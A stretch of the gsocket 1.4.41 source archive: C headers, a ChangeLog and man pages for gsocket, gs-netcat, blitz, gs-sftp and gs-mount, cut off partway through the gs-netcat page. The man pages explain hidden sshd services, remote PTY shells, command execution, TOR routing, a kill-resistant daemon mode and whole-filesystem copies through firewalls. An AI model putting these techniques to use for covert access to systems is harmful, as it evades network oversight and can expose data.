int GS_CTX_setsockopt(GS_CTX *ctx, int level, const void *opt_value, size_t opt_len);
#define GS_OPT_SOCKWAIT (0x02)
#define GS_OPT_BLOCK (0x04) /* Blocking TCP */
#define GS_OPT_NO_ENCRYPTION (0x08)
#define GS_OPT_CLIENT_OR_SERVER (0x10) /* Whoever connects first acts as a Server */
#define GS_OPT_USE_SOCKS (0x20) // Use TOR (Socks5)
#define GS_OPT_SINGLESHOT (0x40)
#define GS_OPT_LOW_LATENCY (0x80)
#define GS_OPT_SERVER_CHECK (0x100)
ssize_t GS_write(GS *gsocket, const void *buf, size_t num);
ssize_t GS_read(GS *gsocket, void *buf, size_t num);
GS_ADDR *GS_ADDR_sec2addr(GS_ADDR *addr, const char *gs_secret);
uint32_t GS_hton(const char *hostname);
uint8_t GS_ADDR_get_hostname_id(uint8_t *addr);
void GS_SELECT_FD_SET_W(GS *gs);
void GS_daemonize(FILE *logfp, int code_force_exit);
uint64_t GS_usec(void);
void GS_format_bps(char *dst, size_t size, int64_t bytes, const char *suffix);
#define GS_BPS_MAXSIZE (8) // _without_ length of suffix!
char *GS_format_since(char *dst, size_t sz, int32_t sec);
#define GS_SINCE_MAXSIZE (7)
char *GS_getpidwd(pid_t pid);
const char *GS_gen_secret(void);
const char *GS_user_secret(GS_CTX *ctx, const char *file, const char *sec_str);
#ifdef WITH_GSOCKET_SSL
const char *GS_SSL_strerror(int err);
void GS_srp_setpassword(GS *gsocket, const char *pwd);
const char *GS_get_cipher(GS *gs);
int GS_get_cipher_strength(GS *gs);
int GS_is_server(GS *gs);
const char *GS_sanitize(char *dst, size_t dsz, char *src, size_t sz, const char *set, size_t setsz, short option);
const char *GS_sanitize_fname(char *dst, size_t dlen, char *src, size_t slen);
const char *GS_sanitize_logmsg(char *dst, size_t dlen, char *src, size_t slen);
const char *GS_sanitize_fname_str(char *str, size_t len);
const char *GS_sanitize_logmsg_str(char *str, size_t len);
#endif /* !WITH_GSOCKET_SSL */
#endif /* !__LIBGSOCKET_H__ */
gsocket-1.4.41/include/gsocket/gsocket-ssl.h 0000644 0001750 0001750 00000000257 14503376047 020652 0 ustar epsilon epsilon
#ifndef __LIBGSOCKET_SSL_H__
#define __LIBGSOCKET_SSL_H__ 1
/* The user can DELETE this file to build project without OpenSSL support */
#endif /* !__LIBGSOCKET_SSL_H__ */
gsocket-1.4.41/include/gsocket/list.h 0000644 0001750 0001750 00000001704 14503376047 017365 0 ustar epsilon epsilon #ifndef __GS_LIST_H__
#define __GS_LIST_H__ 1
typedef struct
{
void *next;
void *prev;
void *gsl; // Pointer to GS_LIST context
uint64_t id;
int add_id;
int is_calloc;
void *data;
} GS_LIST_ITEM;
typedef struct
{
GS_LIST_ITEM *head;
GS_LIST_ITEM *tail;
int n_items;
int add_count;
int opt;
} GS_LIST;
#define GS_LIST_ID_COUNT(gsl) (gsl)->add_count // To add item to bottom of list
int GS_LIST_init(GS_LIST *gsl, int opt);
GS_LIST_ITEM *GS_LIST_add(GS_LIST *gsl, GS_LIST_ITEM *src_li, void *data, uint64_t id);
void GS_LIST_move(GS_LIST *gsl, GS_LIST_ITEM *li);
int GS_LIST_del(GS_LIST_ITEM *li);
int GS_LIST_del_all(GS_LIST *gsl, int deep);
GS_LIST_ITEM *GS_LIST_next(GS_LIST *gsl, GS_LIST_ITEM *li);
GS_LIST_ITEM *GS_LIST_by_pos(GS_LIST *gsl, int pos);
GS_LIST_ITEM *GS_LIST_by_id(GS_LIST *gsl, uint64_t id);
void GS_LIST_relink(GS_LIST_ITEM *li, uint64_t id);
void GS_LIST_stderr(GS_LIST *gsl, const char *msg);
#endif /* !__GS_LIST_H__ */ gsocket-1.4.41/include/gsocket/gs-readline.h 0000644 0001750 0001750 00000002043 14503376047 020601 0 ustar epsilon epsilon #ifndef __GS_READLINE_H__
#define __GS_READLINE_H__ 1
#ifdef DEBUG
# define GS_RL_LINE_MAX (512)
// # define GS_RL_LINE_MAX (32)
#else
# define GS_RL_LINE_MAX (512)
#endif
#define GS_RL_VISIBLE_MAX (127)
#define GS_RL_ESC_MAX (GS_RL_LINE_MAX + 32) // including ESCs (color & position)
typedef struct
{
char line[GS_RL_LINE_MAX + 1]; // Full Length without ascii sequence
char vline[GS_RL_VISIBLE_MAX + 1]; // Might be shorted with '..' at the end
size_t pos; // pointing to next unused field in line.
size_t len; // Set when '\n' encountered
size_t visible_len;
size_t esc_len; // without 0-termianted string
char esc_data[GS_RL_ESC_MAX + 1];
size_t v_pos; // cursor x-position (col) relative to beginning of visible line
int col;
int row;
int is_need_redraw;
int is_in_esc;
} GS_RL_CTX;
int GS_RL_init(GS_RL_CTX *rl, int len_visible);
int GS_RL_add(GS_RL_CTX *rl, uint8_t c, uint8_t *key, int row, int col);
void GS_RL_reset(GS_RL_CTX *rl);
void GS_RL_resize(GS_RL_CTX *rl, int len, int row, int col);
#endif /* !__GS_READLINE_H__ */ gsocket-1.4.41/include/gsocket/packet.h 0000644 0001750 0001750 00000003515 14503376047 017663 0 ustar epsilon epsilon #ifndef __GS_PACKET_H__
#define __GS_PACKET_H__ 1
#define GS_PKT_MAX_SIZE (2048) // content length without pkt-header (2 or 4 bytes)
#define GS_PKT_HDR_MAX_SIZE (4)
#define GS_PKT_MAX_MSG 128 // type = 0..127
#define GS_PKT_MAX_CHN 128 // type = 128..255
// #define GS_PKT_ESC 'e' // TESTING ONLY
#ifndef GS_PKT_ESC
# define GS_PKT_ESC 0xFB // escape character
#endif
#define GS_PKT_MSG_HDR_LEN (2)
#define GS_PKT_CHN_HDR_LEN (4)
typedef void (*gspkt_cb_t)(uint8_t type, const uint8_t *data, size_t len, void *arg);
/*
* - msg are fixed length (e.g. window size)
* - channels are streams (e.g. file transfer)
*/
typedef struct
{
size_t esc_len_rem;
uint8_t type; // type 0..127 is msg's, 128..255 is chn
uint8_t inband[GS_PKT_MAX_SIZE];// in-band packet/stream chunk
size_t len; // length of data in inband buffer
int is_got_chn_len; //
gspkt_cb_t funcs[256]; // Dispatch functions for msg/chn type
void *args[256];
} GS_PKT;
struct gs_pkt_msg_hdr
{
uint8_t esc;
uint8_t type;
} __attribute__((__packed__));
struct gs_pkt_chn_hdr
{
uint8_t esc;
uint8_t type;
uint16_t len;
} __attribute__((__packed__));
#define GS_PKT_IS_CHANNEL(a) (((a) >> 7) & 0x01)
#define GS_PKT_CHN2TYPE(a) (GS_PKT_MAX_MSG + a)
int GS_PKT_init(GS_PKT *pkt);
int GS_PKT_close(GS_PKT *pkt);
int GS_PKT_assign_msg(GS_PKT *pkt, uint8_t msg, gspkt_cb_t func, void *arg);
int GS_PKT_assign_chn(GS_PKT *pkt, uint8_t chn, gspkt_cb_t func, void *arg);
void GS_PKT_encode(GS_PKT *pkt, const uint8_t *src, size_t slen, uint8_t *dst, size_t *dlen);
int GS_PKT_decode(GS_PKT *pkt, const uint8_t *src, size_t slen, uint8_t *dst, size_t *dlen);
ssize_t GS_PKT_decode_single(GS_PKT *pkt, const uint8_t *src, size_t slen, uint8_t *dst, size_t *dlen);
int GS_PKT_MSG_size_by_type(int type);
#define GS_PKT_TYPE_NONE 0x00
#endif /* !__GS_PACKET_H__ */
gsocket-1.4.41/include/gsocket/Makefile.am 0000755 0001750 0001750 00000000135 14503376047 020275 0 ustar epsilon epsilon EXTRA_DIST = buf.h event.h gs-readline.h gs-select.h gsocket-ssl.h gsocket.h list.h packet.h
gsocket-1.4.41/include/gsocket/event.h 0000644 0001750 0001750 00000001534 14503376047 017534 0 ustar epsilon epsilon #ifndef __GS_EVENT_H__
#define __GS_EVENT_H__ 1
typedef int (*gsevent_cb_t)(void *event);
typedef struct
{
void *mgr;
uint64_t interval;
uint64_t start;
uint64_t due;
GS_LIST_ITEM li;
void *data;
size_t len;
gsevent_cb_t func;
int is_calloc;
int id;
} GS_EVENT;
/*
* Keep track of all events under a context
*/
typedef struct
{
GS_LIST list_ts; // events by timestamp (usec)
int id_counter;
int is_return_to_caller;
} GS_EVENT_MGR;
int GS_EVENT_MGR_init(GS_EVENT_MGR *mgr);
GS_EVENT *GS_EVENT_add_by_ts(GS_EVENT_MGR *mgr, GS_EVENT *gsevent, uint64_t start, uint64_t interval, gsevent_cb_t func, void *data, size_t len);
int GS_EVENT_del(GS_EVENT *gsevent);
uint64_t GS_EVENT_usec_until_event(GS_EVENT_MGR *mgr);
uint64_t GS_EVENT_execute(GS_EVENT_MGR *mgr);
uint64_t GS_EVENT_execute_all(GS_EVENT_MGR *mgr);
#endif /* !__GS_EVENT_H__ */ gsocket-1.4.41/include/gsocket/buf.h 0000644 0001750 0001750 00000001610 14503376047 017162 0 ustar epsilon epsilon #ifndef __GS_BUF_H__
#define __GS_BUF_H__ 1
typedef struct
{
void *data;
size_t sz_total;
size_t sz_used;
size_t sz_max_add;
} GS_BUF;
void GS_BUF_init(GS_BUF *gsb, size_t sz_min_free);
void GS_BUF_free(GS_BUF *gsb);
int GS_BUF_resize(GS_BUF *gsb, size_t sz_new);
int GS_BUF_add_length(GS_BUF *gsb, size_t len);
int GS_BUF_add_data(GS_BUF *gsb, void *data, size_t len);
int GS_BUF_printf(GS_BUF *gsb, const char *fmt, ...);
int GS_BUF_del(GS_BUF *gsb, size_t len);
int GS_BUF_memmove(GS_BUF *gsb, void *data, size_t len);
#define GS_BUF_empty(gsb) (gsb)->sz_used = 0;
#define GS_BUF_DATA(gsb) (gsb)->data
#define GS_BUF_IS_INIT(gsb) ((gsb)->sz_max_add!=0)
#define GS_BUF_UNUSED(gsb) ((gsb)->sz_total - (gsb)->sz_used)
#define GS_BUF_RSRC(gsb) (gsb)->data
#define GS_BUF_WDST(gsb) ((uint8_t *)(gsb)->data + (gsb)->sz_used)
#define GS_BUF_USED(gsb) (gsb)->sz_used
#endif /* !__GS_BUF_H__ */
gsocket-1.4.41/ChangeLog 0000644 0001750 0001750 00000001640 14503376047 014730 0 ustar epsilon epsilon 1.4.41 - 2023-09-22
* Transparent proxy detection
* muslcc localtime() bug work around
1.4.40 - 2023-09-00
* Windows cmd.exe support
* SSL error printing
.4.39 - 2022-09-01
* -t flag to check if peer is listening
* Software emulation of PTY if /dev/ptmx is unavailable
* Keepalive improved for Port 443 connections
1.4.31-dev - 2021-06-08
* Protocol 1.3 - BREAKS BACKWARD COMPATIBILITY
* New Key Deriviation Method and fixed gs secret length
* -v, -vv and -vvv for verbosity
* Auto-Reconnect for -l (server) when DNS fails and keep re-trying
until success.
* Downgraded automake requirements to 2.69
* deploy.sh support for Raspberry PI 4b+ (armv7l)
* Debian HURD support (https://www.debian.org/ports/hurd/)
* unique exit() codes (thanks acpizer!)
* =Secret without quotes for easy cut & paste on windows (thanks CuCai!)
* CHANGELOG (thanks xaitax!)
gsocket-1.4.41/man/ 0000755 0001750 0001750 00000000000 14503376047 013730 5 ustar epsilon epsilon gsocket-1.4.41/man/gsocket.1 0000755 0001750 0001750 00000023026 14503376047 015457 0 ustar epsilon epsilon \# .TH gsocket 1 "08 October 2020" "1.0" "gssocket man page"
.Dd March 02, 2021
.Dt gsocket 1
.Os
.Sh NAME
.Nm gsocket
.Nd connect like there is no firewall. Securely.
.Sh SYNOPSIS
.Nm gsocket
.Op Fl qT
.Op Fl s Ar secret
.Op Fl k Ar keyfile
.Op Fl p Ar port
.Op Ar program
.Op Ar args ...
.Sh DESCRIPTION
The
.Nm
tool can be used to enable a program to communicate through a firewall in situations where it would not be possible to establish a direct connection to another host/workstation (NATed/firewalled). The typical scenario is two workstations that are on separate private networks and behind separate firewalls. The
.Nm
tool hijacks the network library functions (such as connect() and accept()) of the program and encrypts and redirects the traffic through the Global Socket Relay Network (GSRN).
.Pp
Neither workstation needs to open a port in their firewall nor accept incoming TCP connections.
.Pp
The connection is end-2-end encrypted using SRP (RFC 5054) with AES-256 and a 4096 Prime. The GSRN sees only the encrypted traffic.
.Pp
Common uses include:
.Pp
.Bl -bullet -offset indent -compact
.It
ssh from one workstation to another
.It
OpenVPN between two workstations
.It
netcat between two workstations
.It
and much, much more.
.El
.Pp
...while both workstations are behind NAT and firewalled.
.Pp
Abandon the thought of IP addresses and port numbers: Two programs should be able to communicate with each other as long as they know the same secret (rather than each other's IP address and port number). The
.Nm
tools establishes such a connection regardless and independent of the local IP address or geographical location. It does so by analyzing the program and replacing the IP Layer with its own transport through GSRN. The connection is end-2-end encrypted. The GSRN sees only the encrypted traffic.
.Pp
The typical scenario is a client/server arrangement such as ssh and sshd: Connections by ssh to any hostname ending in '.gsocket' are redirected (through the GSRN) to the (firewalled) sshd server.
.Pp
The redirection is done per program (and limited to that program only). The
.Nm
tool does not change the routing table and does not change the NAT nor the firewall settings. It does not require superuser privileges either.
.Pp
.Sh OPTIONS
.Bl -tag -width Ds
.It Fl s Ar secret
A secret chosen by the user. Both ends need to use the same secret to connect.
.It Fl k Ar file
A file containing the secret.
.It Fl g
Generate a secure random secret and output it to standard output.
.It Fl q
Quiet mode. Do not output any warnings or errors.
.It Fl T
Use TOR. The
.Nm
tool will connect through TOR to the GSRN. This requires TOR to be installed and running.
.It Fl p Ar port
TCP port range of listening ports to redirect [default=all].
.El
.Pp
Connections to any hostname ending in '*.gsocket' or to the IP Address '127.31.33.7' are redirected through the GSRN.
.Pp
Connections to any hostname ending in '*.thc' or to the IP Address '127.31.33.8' are first redirected through TOR and then through the GSRN.
.Sh EXAMPLES
.Nm Example 1
- OpenSSH between two firewalled workstations:
.Pp
Server:
.Dl $ gsocket -s MySecret /usr/sbin/sshd
Client:
.Dl $ gsocket -s MySecret ssh xaitax@gsocket
.Pp
.Nm Example 2
- netcat between two firewalled workstations:
.Pp
Server:
.Dl $ gsocket -s MySecret nc -lp 31337
Client:
.Dl $ gsocket -s MySecret nc gsocket 31337
.Pp
.Nm Example 3
- OpenVPN between two firewalled workstations:
.Pp
Server:
.Dl $ gsocket -s MySecret openvpn --dev tun1 --proto tcp-server --ifconfig 10.9.8.1 10.9.8.2
Client:
.Dl $ gsocket -s MySecret openvpn --dev tun1 --proto tcp-client --ifconfig 10.9.8.2 10.9.8.1 --remote gsocket
.Pp
.Nm Example 4
- IRCD between two firewalled workstations:
.Pp
Server:
.Dl $ gsocket -s MySecret inspircd --nolog --nofork
Client:
.Dl $ gsocket -s MySecret irssi -c gsocket
.Pp
.Nm Example 5
- Socat between two firewalled workstations:
.Pp
Server:
.Dl $ gsocket -s MySecret socat - TCP_LISTEN:31337
Client:
.Dl $ gsocket -s MySecret socat - TCP:gsocket:31337
.Pp
.Sh SYSTEMCTL INSTALLATION
It is possible to make any service/daemon accessible through any firewall. The service is then only acessible through the GSRN and only if the client knows the secret. No port or service is exposed to the public Internet and the existence of the service remains hidden. This example makes openssh-server (sshd) accessible through the GSRN. Nobody, not even the GSRN operators, have access to the port, daemon or service (they do not know the secret). The new service coexists with the existing openssh-server and does not interfere with the existing openssh-server.
.Pp
1. Copy /etc/systemd/system/sshd to /etc/systemd/system/gs-sshd
.Pp
2. Edit /etc/systemd/system/gs-sshd and change this line:
.Dl ExecStart=/usr/sbin/sshd -D $SSHD_OPTS
to
.Dl ExecStart=gsocket -s MySecret /usr/sbin/sshd -D $SSHD_OPTS
.Pp
3. Start the newly created service
.Dl # systemctl start gs-sshd
.Pp
4. Check the status
.Dl # systemctl status gs-sshd
.Pp
5. Connect from any other host to the newly created (hidden) openssh-server:
.Dl $ gsocket -s MySecret ssh user@gsocket
.Pp
.Sh TESTING
The
.Nm
tool uses the LD_PRELOAD method to hijack network calls from the calling process. It then concatenates the port number to the secret and spwans a gs-netcat process to forward the TCP connection. The setup can be tested with gs-netcat.
.Pp
.Nm Test 1
- gsocket server and gs-netcat client:
.Pp
Server:
.Dl $ gsocket -s MySecret nc -lp 1234 # TCP port is 1234
Client:
.Dl $ gs-netcat -s 1234-MySecret # Notice `-`
.Pp
.Nm Test 2
- gsocket client and gs-netcat server:
.Pp
Server:
.Dl $ gs-netcat -s 1234-MySecret -l
Client:
.Dl $ gsocket -s MySecret nc blah.gsocket 1234
.Pp
Internally the
.Nm
tool (on the client side) forks a background gs-netcat process listening on 127.31.33.7 on a random TCP port. The
.Nm
tool then detects `nc` trying to resolve `blah.gsocket` and returns 127.31.33.7 to `nc`. The `nc` process then connects to 127.31.33.7 instead and the gs-netcat process (that got started automatically) takes the connection and forwards the traffic via the GSRN. The `nc` tool can also directly connect to 127.31.33.7 instead of blah.gsocket (for testing):
.Pp
Client:
.Dl $ gsocket -s MySecret nc -n 127.31.33.7 1234
.Pp
.Nm Test 3
- SSHD via gsocket:
.Pp
Server:
.Dl $ gsocket -s MySecret /usr/sbin/sshd -D -p 1234
Client:
.Dl $ gs-netcat -s 1234-MySecret
.Dl SSH-2.0-OpenSSH_8.4p1 Debian-2
.Pp
Use gs-netcat as a port-forwarder and ssh to connect:
.Pp
Client:
.Dl $ gs-netcat -s 1234-MySecret -p 44222
.Dl $ ssh -p 44222 user@127.1
.Pp
.Nm Test 4
- SSH via gsocket:
.Pp
On the server start a gs-netcat port forward to forward incoming GSRN connections to the SSHD on localhost:
.Pp
Server:
.Dl $ gs-netcat -s 22-MySecret -l -d 127.0.0.1 -p 22
Client:
.Dl $ gsocket -s MySecret ssh user@gsocket
.Pp
.Sh ENVIRONMENT
The following environment variables can be set to control the behavior of
.Nm
.Pp
.Nm GSOCKET_SOCKS_IP
.Dl Specify the IP address of the TOR server (or any other SOCKS server). Use together with -T. Default is 127.0.0.1.
.Pp
.Nm GSOCKET_SOCKS_PORT
.Dl The port number of the TOR server (or any other SOCKS server). Use together with -T. Default is 9050.
.Pp
.Nm GSOCKET_ARGS
.Dl A string containing additional command line parameters. First the normal command line parameters are processed and then the command line parameters from GSOCKET_ARGS.
.Sh SECURITY
Passing the password as command line parameter is not secure. Consider using the -k option or GSOCKET_ARGS or enter the password when prompted:
.Pp
.Dl $ gsocket -k
.Pp
.Dl $ export GSOCKET_ARGS="-s MySecret"
.Dl $ gsocket
.Pp
.Nm 1.
The security is end-2-end. This means from user-2-user (and not just to the GSRN). The GSRN relays only (encrypted) data to and from the users.
.Pp
.Nm 2.
The session is 256 bit and ephemeral. It is freshly generated for every session and generated randomly (and is not based on the password). It uses OpenSSL's SRP with AES-256 and a 4096 Prime.
.Pp
.Nm 3.
The password can be 'weak' without weakening the security of the session. A brute force attack against a weak password requires a new TCP connection for every guess.
.Pp
.Nm 4.
Do not use stupid passwords like 'password123'. Malice might pick the same (stupid) password by chance and connect. If in doubt use gs-netcat -g to generate a strong one. Alice's and Bob's password should at least be strong enough so that Malice can not guess it by chance while Alice is waiting for Bob to connect.
.Pp
.Nm 5.
If Alice shares the same password with Bob and Charlie and either one of them connects then Alice can not tell if it is Bob or Charlie who connected.
.Pp
.Nm 6.
Assume Alice shares the same password with Bob and Malice. When Alice stops listening for a connection then Malice could start to listen for the connection instead. Bob (when opening a new connection) can not tell if he is connecting to Alice or to Malice. Use -a if you worry about this. TL;DR: When sharing the same password with a group larger than 2 then it is assumed that everyone in that group plays nicely. Otherwise use SSH over the GS/TLS connection.
.Pp
.Nm 7.
SRP has Perfect Forward Secrecy. This means that past sessions can not be decrypted even if the password becomes known.
.Sh NOTES
The latest version is available from https://github.com/hackerschoice/gsocket/.
.Sh SEE ALSO
.Xr gs-netcat(1) ,
.Xr gs-sftp(1) ,
.Xr gs-mount(1) ,
.Xr blitz(1) ,
.Xr nc(1) ,
.Xr socat(1)
.Sh BUGS
Efforts have been made to have
.Nm
"do the right thing" in all its various modes. If you believe that it is doing the wrong thing under whatever circumstances, please notify me (skyper@thc.org) and tell me how you think it should behave.
gsocket-1.4.41/man/man2html.sh 0000755 0001750 0001750 00000000304 14503376047 016006 0 ustar epsilon epsilon #! /bin/bash
for x in *.1; do
man2html -H hackerschoice.github.io -M'/' -p <"${x}" | sed -e 's/\(\:\/\/hackerschoice\.github\.io\/\)\/\([0-9]\)+\([a-z-]*\)/s\1\3.\2.html/g' >"${x}.html"
done
gsocket-1.4.41/man/blitz.1 0000755 0001750 0001750 00000005253 14503376047 015146 0 ustar epsilon epsilon .Dd October 12, 2020
.Dt BLITZ 1
.Os
.Sh NAME
.Nm blitz
.Nd Securely transfer files between two workstations through NAT/Firewall.
.Sh SYNOPSIS
.Nm blitz
.Op Fl lT
.Op Fl s Ar secret
.Op Fl k Ar keyfile
.Op Fl f Ar list
.Op Fl o Ar RSOPT=
.Op Ar files ...
.Sh DESCRIPTION
The
.Nm
utility is a wrapper script for gs-netcat and rsync. It allows one to send files from one workstation to another workstation via the Global Socket Relay Network (GSRN).
.Pp
A typical use-case is where both workstations are separated by a Firewall or NAT and not able to establish a direct connection between each other.
.Pp
.Sh OPTIONS
.Bl -tag -width Ds
.It Fl l
Server mode. The default mode is client.
.It Fl s Ar secret
A password chosen by the user. Both users need to use the same password to connect.
.It Fl k Ar FILE
A file containing the password.
.It Fl f Ar FILE
Read list of file names from FILE. If FILE is -, the list will be read from standard input.
.It Fl o Ar RSOPT=
Options passed to rsync. See
.Xr rsync(1)
for available options.
.It Fl T
Use TOR. The
.Nm
tool will connect via TOR to the GSRN. This requires TOR to be installed and running. The IP and PORT of the TOR server can be set using environment variables.
.El
.Pp
See
.Xr gs-netcat(1)
for more options.
.Sh EXAMPLES
Listen for clients with password 'MySecret':
.Dl $ mkdir /tmp/foo && cd /tmp/foo
.Dl $ blitz -s MySecret -l
.Pp
Copy 'file.dat' to /tmp/foo/file.dat on the server:
.Dl $ blitz -s MySecret file.dat
.Pp
Copy '/etc/ssh/ssh*config' to /tmp/foo/etc/ssh/ on the server:
.Dl $ blitz -s MySecret /etc/ssh/ssh*config
.Pp
It is also possible to limit the amount of path information that is sent as implied directories for each path you specify. You can insert a dot and a slash into the source path, like this:
.Pp
.Dl $ blitz -s MySecret /etc/./ssh/ssh*config
The received files will be stored to /tmp/foo/ssh/ instead of /tmp/foo/etc/ssh.
.Pp
Copy recursively and limit bandwidth to 10kB/sec:
.Dl $ blitz -s MySecret -o 'RSOPT=--bwlimit=10' /usr/./share
.Pp
Copy the entire root file-system:
.Dl $ blitz -s MySecret -o 'RSOPT=-x' /
.Pp
Copy specific files read from standard input:
.Dl $ find\ . -name '*.conf' | blitz -s MySecret -f \-
.Pp
Run a permanent server (daemon) through TOR:
.Dl $ blitz -s MySecret -l -D -T
.Pp
.Sh ENVIRONMENT
See
.Xr gs-netcat(1)
for a list of supported environment variables.
.Pp
.Sh SEE ALSO
.Xr gsocket(1) ,
.Xr gs-netcat(1) ,
.Xr gs-sftp(1) ,
.Xr gs-mount(1) ,
.Xr rsync(1)
.Pp
.Sh BUGS
Efforts have been made to have
.Nm
"do the right thing" in all its various modes. If you believe that it is doing the wrong thing under whatever circumstances, please notify me (skyper@thc.org) and tell me how you think it should behave.
gsocket-1.4.41/man/Makefile.am 0000755 0001750 0001750 00000000103 14503376047 015761 0 ustar epsilon epsilon dist_man_MANS = gsocket.1 gs-netcat.1 gs-sftp.1 blitz.1 gs-mount.1
gsocket-1.4.41/man/gs-sftp.1 0000755 0001750 0001750 00000003263 14503376047 015404 0 ustar epsilon epsilon .Dd October 12, 2020
.Dt GS-SFTP 1
.Os
.Sh NAME
.Nm gs-sftp
.Nd Secure File Transfer Protocol via Global Socket.
.Sh SYNOPSIS
.Nm gs-sftp
.Op Fl lTR
.Op Fl s Ar secret
.Op Fl k Ar keyfile
.Sh DESCRIPTION
The
.Nm
utility is a wrapper script for gs-netcat. It allows two users to establish a secure SFTP connetion via the Global Socket Relay Network (GSRN). This is useful in a scenario where both users are behind NAT/Firewall and unable to connect to each other directly.
.Pp
.Sh OPTIONS
.Bl -tag -width Ds
.It Fl s Ar secret
A password chosen by the user. Both users need to use the same password to connect.
.It Fl k Ar FILE
A file containing the password.
.It Fl l
Server mode. The default mode is client.
.It Fl R
Places server (-l) into a read-only mode. Attempts to open files for writing, as well as other operations that change the state of the filesystem, will be denied.
.It Fl T
Use TOR. The
.Nm
tool will connect via TOR to the GSRN. This requires TOR to be installed and running. The IP and PORT of the TOR server can be set using environment variables.
.El
.Pp
See
.Xr gs-netcat(1)
for more options.
.Sh EXAMPLES
.Nm Example 1
- SFTP Server listening for clients using password 'MySecret':
.Dl $ gs-sftp -s MySecret -l
.Pp
Connect sftp-client using the same password:
.Dl $ gs-sftp -s MySecret
.Pp
.Sh ENVIRONMENT
See
.Xr gs-netcat(1)
for a list of supported environment variables.
.Pp
.Sh SEE ALSO
.Xr gsocket(1) ,
.Xr gs-netcat(1) ,
.Xr sftp(1)
.Pp
.Sh BUGS
Efforts have been made to have
.Nm
"do the right thing" in all its various modes. If you believe that it is doing the wrong thing under whatever circumstances, please notify me (skyper@thc.org) and tell me how you think it should behave.
gsocket-1.4.41/man/man2c.sh 0000755 0001750 0001750 00000000234 14503376047 015266 0 ustar epsilon epsilon #! /bin/bash
printf 'const char *man_str = \"\\\n'
man ./gs-netcat.1 2>/dev/null | col -b | sed 's/"/\\"/g' | perl -p -e 's/\n/\\n\\\n/'
printf '\";\n'
gsocket-1.4.41/man/gs-mount.1 0000755 0001750 0001750 00000003354 14503376047 015573 0 ustar epsilon epsilon .Dd October 12, 2020
.Dt GS-MOUNT 1
.Os
.Sh NAME
.Nm gs-mount
.Nd Secure filesystem client through via Global Socket.
.Sh SYNOPSIS
.Nm gs-mount
.Op Fl lTR
.Op Fl s Ar secret
.Op Fl k Ar keyfile
.Op Ar mountpoint
.Sh DESCRIPTION
The
.Nm
utility is a wrapper script for gs-netcat. It allows a user to mount and access a filesystem from another user via the Global Socket Relay Network (GSRN). This is useful in a scenario where both users are behind NAT/Firewall and unable to connect to each other directly.
.Pp
.Sh OPTIONS
.Bl -tag -width Ds
.It Fl s Ar secret
A password chosen by the user. Both users need to use the same password to connect.
.It Fl k Ar FILE
A file containing the password.
.It Fl l
Server mode. The default mode is client.
.It Fl R
Places server (-l) into a read-only mode. Attempts to open files for writing, as well as other operations that change the state of the filesystem, will be denied.
.It Fl T
Use TOR. The
.Nm
tool will connect via TOR to the GSRN. This requires TOR to be installed and running. The IP and PORT of the TOR server can be set using environment variables.
.El
.Pp
See
.Xr gs-netcat(1)
for more options.
.Sh EXAMPLES
.Nm Example 1
- Alice sharing her current directory:
.Dl $ gs-mount -s MySecret -l
.Pp
Bob mounting Alice's directory to ~/gs-alice:
.Dl $ gs-mount -s MySecret ~/gs-alice
.Pp
.Sh ENVIRONMENT
See
.Xr gs-netcat(1)
for a list of supported environment variables.
.Pp
.Sh SEE ALSO
.Xr gsocket(1) ,
.Xr gs-netcat(1) ,
.Xr gs-sftp(1) ,
.Xr blitz(1) ,
.Xr sshfs(1)
.Pp
.Sh BUGS
Efforts have been made to have
.Nm
"do the right thing" in all its various modes. If you believe that it is doing the wrong thing under whatever circumstances, please notify me (skyper@thc.org) and tell me how you think it should behave.
gsocket-1.4.41/man/gs-netcat.1 0000755 0001750 0001750 00000024764 14503376047 015717 0 ustar epsilon epsilon \# .TH gs-netcat 1 "08 October 2020" "1.0" "gs-netcat man page"
.Dd October 08, 2020
.Dt GS-NETCAT 1
.Os
.Sh NAME
.Nm gs-netcat
.Nd transfer data, forward traffic and execute commands on a remote host. Securely.
.Sh SYNOPSIS
.Nm gs-netcat
.Op Fl rlgvqwCTSDiu
.Op Fl s Ar secret
.Op Fl k Ar keyfile
.Op Fl L Ar logfile
.Op Fl d Ar IP
.Op Fl p Ar port
.Op Fl e Ar cmd
.Sh DESCRIPTION
The
.Nm
utility is a re-implementation of netcat. It allows two or more users to establish a secure TCP connection with each other in a scenario where all users are behind NAT/Firewall and would not be able to connect to each other directly. Typically a connection between one workstation and another workstation on a different Local Area Network.
.Pp
It uses the Global Socket Relay Network (GSRN) instead of direct TCP connections. Neither workstation needs to open a port in their firewall or accept incoming TCP connections.
.Pp
The connection is end-2-end encrypted using SRP (RFC 5054) with AES-256 and a 4096 Prime. The GSRN sees only the encrypted traffic.
.Pp
Common uses include:
.Pp
.Bl -bullet -offset indent -compact
.It
simple TCP proxies
.It
PTY shell
.It
File transfer
.It
a SOCKS ProxyCommand for
.Xr ssh 1
.It
and much, much more.
.El
.Pp
.Sh OPTIONS
.Bl -tag -width Ds
.It Fl C
Disable encryption and use clear-text instead. Use with caution.
.It Fl d Ar ip
Destination IPv4 address for port forwarding.
.It Fl D
Daemon & Watchdog mode. Start
.Nm
as a background process and restart if killed.
.It Fl e Ar cmd
Execute command and send output to the connected client. Needs -l.
.It Fl g
Generate a secure random password and output it to standard output.
.It Fl i
Interactive login shell. The server spawns a true PTY login shell. The client acts as a true PTY client (with Ctrl-C etc working). The client can terminate the session by typing 'Ctrl-e q' at any time or by typing 'exit'. The server supports multiple clients at the same time.
.It Fl k Ar file
A file containing the password.
.It Fl l
Server/Listening mode. The default mode is client.
.It Fl L Ar file
Log file [default: standard out]
.It Fl p Ar port
Port to listen on or to forward traffic to [1-65535].
.It Fl q
Quiet mode. Do not output any warnings or errors.
.It Fl r
Receive-only. Do not send any data. Terminate when no more data is available for reading.
.It Fl s Ar secret
A password chosen by the user. Both users need to use the same password to connect.
.It Fl S
Act as a SOCKS4/4a/5 server. The server acts as a SOCKS4/4a/5 proxy. It allows multiple
.Nm
clients to (securely) relay traffic via the server. Needs -l.
.It Fl T
Use TOR. The
.Nm
tool will connect via TOR to the GSRN. This requires TOR to be installed and running. The IP and PORT of the TOR server can be set using environment variables.
.It Fl t
Connect to the GSRN (only) and check if the peer is listening. Do not connect the peer.
.It Fl u
Use UDP instead of TCP for port forwarding. Needs -p.
.It Fl v
Prints status messages. Use -vv to be more verbose and -vvv to be insanely verbose.
.It Fl w
Client to wait for the listening server to become available.
.El
.Sh CONSOLE
The interactive login shell (
.Ar -i
) has a command console. Pressing 'Ctrl-e c' (e for EEEElite) opens the command console. The command console displays the following information:
.Pp
.Bl -bullet -offset indent -compact
